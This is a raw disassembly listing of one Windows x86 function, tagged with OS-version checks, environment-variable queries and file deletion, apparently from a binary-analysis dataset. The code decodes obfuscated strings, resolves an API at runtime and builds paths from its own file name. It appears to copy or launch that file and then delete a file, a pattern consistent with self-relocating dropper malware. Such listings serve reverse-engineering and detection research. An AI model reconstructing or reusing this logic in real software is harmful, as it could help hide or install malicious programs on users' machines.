Function at 0x40238d
Capabilities:
Check os version
Delete file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
push ebx
push esi
push edi
mov edx, 0x11c
xor al, al
mov ecx, edx
lea edi, [ebp - 0x538]
rep stosb byte es:[edi], al
lea eax, [ebp - 0x538]
push eax
mov dword [ebp - 0x538], edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4027e5
cmp dword [ebp - 0x534], 6
jb 0x4027e5
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call main
cmp eax, 0x2000
ja 0x4027e5
call fcn.0040305f
test eax, eax
je 0x4027e5
mov ebx, 0x104
push ebx
lea eax, [ebp - 0x41c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x20
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40242d
push 0x8a
push 0x1d
mov edx, 0x40af20
call fcn.0040498f
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push ebx
lea ecx, [ebp - 0x110]
push ecx
push eax
call edi
push 1
push 0
lea esi, [ebp - 0x110]
call fcn.004037cd
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov esi, esp
test esi, esi
je 0x40246e
push 0x84
push 6
mov eax, esi
mov edx, 0x40afc0
call fcn.0040498f
push 0xc
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 4], eax
test eax, eax
je 0x402490
push 0x92
push 8
mov edx, 0x40af0c
call fcn.0040498f
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x4024af
push 0x90
push 7
mov edx, 0x40afb4
call fcn.0040498f
push ebx
lea ecx, [ebp - 0x318]
push ecx
push eax
call edi
lea eax, [ebp - 0x318]
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4024c3
sub eax, edi
push 0x777
mov edi, eax
call fcn.00404de5
push eax
push esi
mov esi, dword [sym.imp.ntdll.dll__snprintf]
lea eax, [ebp + edi - 0x318]
push ebx
push eax
call esi
add esp, 0x10
lea edi, [ebp - 0x318]
call fcn.00403e41
push 0x40aa70
mov eax, edi
push eax
mov eax, 0x25c
call fcn.00403de2
test eax, eax
je 0x4027e5
mov eax, edi
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x214]
push ebx
push eax
call esi
add esp, 0x10
push 2
pop edi
push 1
lea eax, [ebp - 0x214]
push eax
lea esi, [ebp - 0x110]
call fcn.004037cd
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
dec edi
jne 0x402529
cmp dword [ebp - 0x52c], 0x203a
jb 0x4026ea
cmp dword [0x42c2b4], edi
je 0x4026ea
push 0x10
pop eax
call sub.ntdll.dll__alloca_probe
mov esi, esp
mov dword [ebp - 8], esi
test esi, esi
je 0x40258b
push 0x88
push 0xc
mov eax, esi
mov edx, 0x40ae6c
call fcn.0040498f
push 0x20
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x4025aa
push 0x90
push 0x1e
mov edx, 0x40afc8
call fcn.0040498f
and dword [ebp - 4], 0
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
test eax, eax
je 0x4027e5
lea ecx, [ebp - 4]
push ecx
call eax
push ebx
lea eax, [ebp - 0x63c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x4025fc
push 0x8c
push 7
mov edx, 0x40ae40
call fcn.0040498f
push ebx
lea ecx, [ebp - 0x110]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x402647
push 0xc
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x40262e
push 0x80
push 0xa
mov edx, 0x40ae34
call fcn.0040498f
lea ecx, [ebp - 0x63c]
push ecx
push eax
lea eax, [ebp - 0x110]
push ebx
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
push 0x38
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402666
push 0x87
push 0x35
mov edx, 0x40af7c
call fcn.0040498f
lea ecx, [ebp - 0x41c]
push ecx
lea ecx, [ebp - 0x63c]
push ecx
push eax
lea eax, [ebp - 0x214]
push ebx
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x14
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00402328
push 0x20
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x4026c5
push 0x94
push 0x1d
mov edx, 0x40afe8
call fcn.0040498f
push eax
push dword [ebp - 8]
call esi
push eax
call edi
test eax, eax
je 0x402770
cmp dword [ebp - 4], 0
je 0x402770
push dword [ebp - 4]
call eax
jmp 0x402770
push 0x20
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402709
push 0x83
push 0x1c
mov edx, 0x40af58
call fcn.0040498f
push ebx
lea ecx, [ebp - 0x110]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x18
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402737
push 0x82
push 0x16
mov edx, 0x40af40
call fcn.0040498f
lea ecx, [ebp - 0x41c]
push ecx
push eax
lea eax, [ebp - 0x214]
push ebx
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00402328
push ebx
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0xc
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x4027a0
push 0x91
push 8
mov edx, 0x40af74
call fcn.0040498f
lea ecx, [ebp - 0x318]
push ecx
push eax
lea eax, [ebp - 0x214]
push ebx
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
push 0
lea eax, [ebp - 0x214]
push eax
lea esi, [ebp - 0x110]
call fcn.004037cd
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea esp, [ebp - 0x648]
pop edi
pop esi
pop ebx
leave
ret